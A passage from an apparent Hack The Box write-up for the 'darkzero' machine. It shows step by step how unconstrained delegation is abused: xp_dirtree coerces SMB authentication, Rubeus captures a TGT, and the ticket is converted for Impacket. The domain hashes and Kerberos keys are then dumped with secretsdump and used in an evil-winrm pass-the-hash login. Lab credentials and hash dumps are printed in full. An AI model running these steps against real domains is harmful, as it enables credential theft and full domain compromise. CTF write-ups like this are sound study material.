-windows-auth ``` And then, we are going to execute **xp\_dirtree** pointing to a nonexistent share, this will obligate the process from **SQL Server on DC01** to realize an **SMB connection** **to DC02**. For that, the process will request a **ticket** to the **KDC** for **cifs/DC02**. Since **DC02** has **Unconstrained Delegation**, the **KDC** will include the **TGT** from **DC01** inside the **TGS**, we can **capture** the ticket with **Rubeus**: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9e724b08-b4c1-4cb3-b907-c6cf6b401954.png align="center") Once received the **ticket**, we need to save it as **ticket.b64**, then we'll decode it and save the output as **ticket.kirbi**, once done this, we need to convert the ticket.kirbi to a **.ccache** to use it with **impacket**: **ticket.b64 ---> ticket.kirbi ---> ticket.ccache** ```shell echo "..." > ticket.b64 base64 -d ticket.b64 > ticket.kirbi ticketConverter.py ticket.kirbi dc01darkzero.ccache ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/16177669-17ce-49d5-9ebb-e16dec2f712f.png align="center") Once we have the **.ccache**, we need to generate the **krb5.conf** file and then export it with the **.ccache**: ```shell nxc smb dc01.darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' --generate-krb5-file ./krb5.conf export KRB5_CONFIG=./krb5.conf export KRB5CCNAME=dc01darkzero.ccache klist ``` Now, we are going to use **Impacket secretsdump** to get all the hashes from the domain **DC01**: ```shell secretsdump.py -k -no-pass -dc-ip dc01.darkzero.htb DARKZERO.HTB/'dc01$'@dc01.darkzero.htb ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/a1b4d38d-879f-4088-9a34-4de46643eb1a.png align="center") ```shell Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7::: john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a::: darkzero-ext$:2602:aad3b435b51404eeaad3b435b51404ee:3906c9ba81eca2ba3b433b079687e4cc::: [*] Kerberos keys grabbed Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd Administrator:0x13:a23315d970fe9d556be03ab611730673 Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362 Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726 krbtgt:aes256-cts-hmac-sha1-96:6330aee12ac37e9c42bc9af3f1fec55d7755c31d70095ca1927458d216884d41 krbtgt:aes128-cts-hmac-sha1-96:0ffbe626519980a499cb85b30e0b80f3 krbtgt:0x17:64f4771e4c60b8b176c3769300f6f3f7 john.w:0x14:f6d74915f051ef9c1c085d31f02698c04a4c6804d509b7c4442e8593d6d957ea john.w:0x13:7b145a89aed458eaea530a2bd1eb93bd john.w:aes256-cts-hmac-sha1-96:49a6d3404e9d19859c0eea1036f6e95debbdea99efea4e2c11ee529add37717e john.w:aes128-cts-hmac-sha1-96:87d9cbd84d85c50904eba39d588e47db john.w:0x17:44b1b5623a1446b5831a7b3a4be3977b DC01$:aes256-cts-hmac-sha1-96:25e1e7b4219c9b414726983f0f50bbf28daa11dd4a24eed82c451c4d763c9941 DC01$:aes128-cts-hmac-sha1-96:9996363bffe713a6777597c876d4f9db DC01$:0x17:d02e3fe0986e9b5f013dad12b2350b3a darkzero-ext$:aes256-cts-hmac-sha1-96:6a32c156dd806b60f023ed0f970e34dea9a6ad29e077270318ceb3e258fc0db7 darkzero-ext$:aes128-cts-hmac-sha1-96:44cf9a522cad7cd3d6038b7e5c09cbdf darkzero-ext$:0x17:3906c9ba81eca2ba3b433b079687e4cc ``` Now, we can connect to **DC01** with the **Administrator hash** using **evil-winrm** and get the **root flag**: ```plaintext evil-winrm -i dc01.darkzero.htb -u Administrator -H 5917507bdf2ef2c2b0a869a1cba40726 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/f7684a58-30f5-45a0-bbed-5c0cb1dc3657.png align="center") * * * šŸ“Œ **Follow Me / Portfolio** šŸŒ **Web:** [https://0xnano.com](https://0xnano.com) šŸ¦ **X (Twitter):** [https://x.com/0xN4no](https://x.com/0xN4no) šŸ™ **GitHub:** [https://github.com/0xN4no](https://github.com/0xN4no) šŸŽ„ **YouTube:** https://youtube.com/@0xNano ![Nano](https://www.hackthebox.eu/badge/image/54373 align="left") šŸ”Ž **Did you enjoy the write-up?** Feel free to comment or share it ā€” Iā€™m always happy to answer questions and I love seeing improvements or pull requests.